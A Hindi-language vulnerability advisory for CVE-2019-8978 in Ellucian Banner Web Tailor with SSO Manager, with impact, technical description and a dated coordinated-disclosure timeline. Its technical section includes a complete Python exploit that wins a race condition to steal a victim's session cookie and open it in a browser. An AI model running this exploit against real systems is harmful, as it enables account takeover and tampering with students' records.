
Banner Web Tailor और Banner Enterprise Identity Services भेद्यता प्रकटीकरण
लेखक: Katie Mulliken [email protected]
धन्यवाद: कार्नेगी मेलन विश्वविद्यालय CERT समन्वय केंद्र
कार्यकारी सारांश
उत्पाद
प्रभाव और अनुशंसाएँ
a. प्रभाव
b. अनुशंसाएँ
तकनीकी विवरण
a. तकनीकी वर्णन
b. शोषण कोड
प्रकटीकरण समय-रेखा
संदर्भ
Banner Web Tailor और Banner Enterprise Identity Services में एक अनुचित प्रमाणीकरण भेद्यता (CWE-287) की पहचान की गई थी। यह भेद्यता तब उत्पन्न होती है जब SSO Manager को Web Tailor के लिए प्रमाणीकरण तंत्र के रूप में उपयोग किया जाता है, जिससे प्रभावित उपयोगकर्ता(ओं) के लिए सूचना का प्रकटीकरण (information disclosure) और डेटा अखंडता की हानि हो सकती है। विक्रेता ने भेद्यता की पुष्टि कर दी है और एक पैच तैयार कर दिया है जो अब उपलब्ध है। अधिक जानकारी के लिए Ellucian Communities पर पोस्टिंग देखें: [समय-सीमा से पहले लिंक प्रदान नहीं किया गया] और Banner Enterprise Identity Services: [समय-सीमा से पहले लिंक प्रदान नहीं किया गया]। अपडेट: IAM अनुभाग का लिंक यहाँ है: और यह Banner General & Banner Technical Community स्पेस में पोस्ट किए गए Banner Web Tailor और SSO Manager भेद्यता संचार का लिंक है - ]
Banner Web Tailor उच्च शिक्षा संस्थानों के लिए बनाया गया एक वेब टूल है, जो पंजीकरण, पाठ्यक्रम प्रबंधन, परामर्श, प्रशासन और रिपोर्टिंग कार्यक्षमता प्रदान करता है। छात्र अपनी पंजीकरण, स्नातक और वित्तीय सहायता जानकारी तक पहुँच सकते हैं और उसे बदल सकते हैं। प्रोफेसर और शिक्षक अंतिम ग्रेड दर्ज कर सकते हैं और अपने पाठ्यक्रमों का प्रबंधन कर सकते हैं। प्रशासक छात्र और शिक्षक की जानकारी तक पहुँच सकते हैं और उसे बदल सकते हैं। इसका उपयोग सैकड़ों संस्थानों द्वारा किया जाता है, जिनमें से कई ने CAS- और SAML-आधारित सिंगल साइन-ऑन सेवाओं में भाग लेने के लिए Single Sign-on Manager का उपयोग करना चुना है। [2]
उपयोगकर्ता की अद्वितीय पहचानकर्ता (unique identifier), UDCID, एक कुकी के माध्यम से लीक हो जाती है, और यदि यह पहचानकर्ता कैप्चर कर लिया जाए या अन्यथा ज्ञात हो जाए तो यह खाते से समझौता (account compromise) कर सकती है; परीक्षण किए गए मामले में UDCID को ID कार्ड पर मुद्रित संस्थागत ID के रूप में जाना गया। UDCID का उपयोग रेस कंडीशन (race condition) का शोषण करने के लिए किया जा सकता है, जो हमलावर को अनधिकृत पहुँच प्रदान करेगा। किसी छात्र के मामले में, हमलावर उन्हें उनके पाठ्यक्रमों से हटा सकता है, वित्तीय सहायता अस्वीकार कर सकता है, उनकी व्यक्तिगत जानकारी बदल सकता है, आदि। किसी प्रोफेसर के लिए, इससे उनके पाठ्यक्रमों का प्रबंधन करने में असमर्थता हो सकती है, और किसी दुर्भावनापूर्ण छात्र को गलत अंतिम ग्रेड डालने की अनुमति मिल सकती है, आदि। किसी प्रशासक के लिए, हमलावर उपयोगकर्ताओं की जानकारी बदल सकता है, छात्र खातों पर गलत होल्ड लगा सकता है, आदि।
प्रभावित संगठनों को नवीनतम संस्करण में अपडेट करना चाहिए। अधिक जानकारी Ellucian Communities पर पोस्टिंग में पाई जा सकती है: [समय-सीमा से पहले लिंक प्रदान नहीं किया गया] और Banner Enterprise Identity Services: [समय-सीमा से पहले लिंक प्रदान नहीं किया गया]। अपडेट: IAM अनुभाग का लिंक यहाँ है: https://ecommunities.ellucian.com/message/252749#252749 और यह Banner General & Banner Technical Community स्पेस में पोस्ट किए गए Banner Web Tailor और SSO Manager भेद्यता संचार का लिंक है - https://ecommunities.ellucian.com/message/252810#252810। कृपया अधिक जानकारी के लिए Ellucian Communities का उपयोग करें या ActionLine के माध्यम से Ellucian से संपर्क करें। इस प्रकटीकरण के अपडेट GitHub पर उपलब्ध होंगे: https://github.com/JoshuaMulliken/CVE-2019-8978
अनुचित प्रमाणीकरण भेद्यता का शोषण SSO Manager के साथ संयोजन में Ellucian Banner Web Tailor में होने वाली रेस कंडीशन के माध्यम से किया जा सकता है। यह भेद्यता दूरस्थ हमलावरों को IDMSESSID कुकी को पीड़ित के UDCID पर सेट करके प्रारंभिक Banner Web Tailor मुख्य पृष्ठ का बार-बार अनुरोध करके पीड़ित के सत्र को चुराने (और सेवा से वंचित करने) की अनुमति देती है; परीक्षण किए गए मामले में UDCID संस्थागत ID है। पीड़ित द्वारा लॉगिन प्रयास के दौरान, हमलावर रेस कंडीशन का लाभ उठा सकता है और उसे वह SESSID जारी हो जाता है जो इस पीड़ित के लिए निर्धारित था। अधिक विवरण के लिए नीचे दिए गए GitHub लिंक पर स्थित प्रूफ ऑफ कॉन्सेप्ट (proof of concept) कोड देखें।
""" exploit.py
This code is designed for Python 3 and requires the packages selenium and requests_threads. It does 50 simultaneous requests per batch and repeats. More or less may be required depending on your connection latency.
"""
import re, time, sys, select, os
from selenium import webdriver
from requests_threads import AsyncSession
requests_per_batch = 50
target_host = input("Please provide the target url (This is from the Web Tailor page post login): ")
target_id = input("Please provide the ID, which in the case tested is the institutional ID: ")
cookies = {
'IDMSESSID': target_id,
}
session = AsyncSession(n=requests_per_batch)
async def _main():
final_sessid = ""
os.system('cls' if os.name == 'nt' else 'clear')
print("To quit press Enter")
while True:
rs = []
for _ in range(requests_per_batch):
rs.append(await session.get(target_host, cookies=cookies))
for response in rs:
for c in response.cookies:
if (c.name == 'SESSID'):
print(c.name, c.value)
final_sessid = c.value
if sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
line = input()
break
print("Last SESSID:", final_sessid)
open_browser = input("Open a browser with this SESSID(y/n): ")
if open_browser == "y":
"""
This feature requires a chromedriver for your operating system version.
It can be found at https://sites.google.com/a/chromium.org/chromedriver/
Place it in the working directory of the exploit.py
"""
browser = webdriver.Chrome(executable_path=os.path.join(os.getcwd(),"chromedriver"))
browser.get(target_host)
browser.add_cookie({
"domain": target_host.split("/")[2],
"name": "SESSID",
"value": final_sessid,
})
browser.get(target_host)
stay_open = input("Press enter to close")
session.run(_main)
18 दिसंबर, 2018: Ellucian के मार्केटिंग वेब-फॉर्म के माध्यम से रिपोर्ट करने का प्रयास किया और [email protected] पर भेजा।
20 दिसंबर, 2018: कार्नेगी मेलन विश्वविद्यालय में CERT समन्वय केंद्र को रिपोर्ट प्रस्तुत की।
2 जनवरी, 2019: LinkedIn के माध्यम से खोजे गए Ellucian के एक CISO को रिपोर्ट प्रस्तुत की।
2 जनवरी, 2019: यूनिवर्सिटी ऑफ़ साउथ कैरोलिना से जिम्मेदार प्रकटीकरण प्रक्रिया (responsible disclosure procedure) के बारे में जानकारी का अनुरोध किया।
3 जनवरी, 2019: Ellucian द्वारा ActionLine के माध्यम से रिपोर्ट करने के लिए कहा गया।
4 जनवरी, 2019: यूनिवर्सिटी ऑफ़ साउथ कैरोलिना द्वारा बताया गया कि भेद्यताओं की रिपोर्ट करने की कोई प्रक्रिया नहीं है।
4 जनवरी, 2019: यूनिवर्सिटी ऑफ़ साउथ कैरोलिना को बताया कि मुझे Banner में एक भेद्यता मिली है।
18 फरवरी, 2019: CERT ने मुझे विक्रेता तक पहुँचने में विफलता के बारे में सूचित किया और सार्वजनिक रूप से प्रकट करने की सलाह दी।
25 फरवरी, 2019: Ellucian को एडवाइज़री का ड्राफ्ट भेजा और प्रकटीकरण की तिथि 4 मार्च निर्धारित की।
28 फरवरी, 2019: Zoom सम्मेलन के माध्यम से Ellucian के लिए भेद्यता का डेमो चलाया।
1 मार्च, 2019: यूनिवर्सिटी ऑफ़ साउथ कैरोलिना द्वारा प्रकाशन में देरी करने के लिए कहा गया।
21 मार्च, 2019: यूनिवर्सिटी ऑफ़ साउथ कैरोलिना को Ellucian से बैकपोर्टेड पैच प्राप्त हुआ।
26 मार्च, 2019: Ellucian ने सभी संस्करणों के लिए पैच अंतिम रूप दे दिए।
29 मार्च, 2019: Ellucian द्वारा बताया गया कि यूनिवर्सिटी ऑफ़ साउथ कैरोलिना 1 अप्रैल को बदलाव करेगी।
1 अप्रैल, 2019: यूनिवर्सिटी ऑफ़ साउथ कैरोलिना से पैच की स्थिति के बारे में जानकारी का अनुरोध किया।
5 अप्रैल, 2019: यूनिवर्सिटी ऑफ़ साउथ कैरोलिना ने 30 अप्रैल, 2019 का अनुमानित समय (ETA) दिया।
30 अप्रैल, 2019: यूनिवर्सिटी ऑफ़ साउथ कैरोलिना ने अनुमानित समय (ETA) को मई के मध्य तक अपडेट कर दिया।
7 मई, 2019: प्रकटीकरण के प्रकाशन की तिथि 13 मई निर्धारित की।
10 मई, 2019: यूनिवर्सिटी ऑफ़ साउथ कैरोलिना ने 11 मई को निर्धारित सभी Banner सेवाओं के लिए नियोजित आउटेज सूचना पोस्ट की।
11 मई, 2019: यूनिवर्सिटी ऑफ़ साउथ कैरोलिना ने सफलतापूर्वक पैच स्थापित कर लिया।
13 मई, 2019: प्रकटीकरण प्रकाशित किया गया।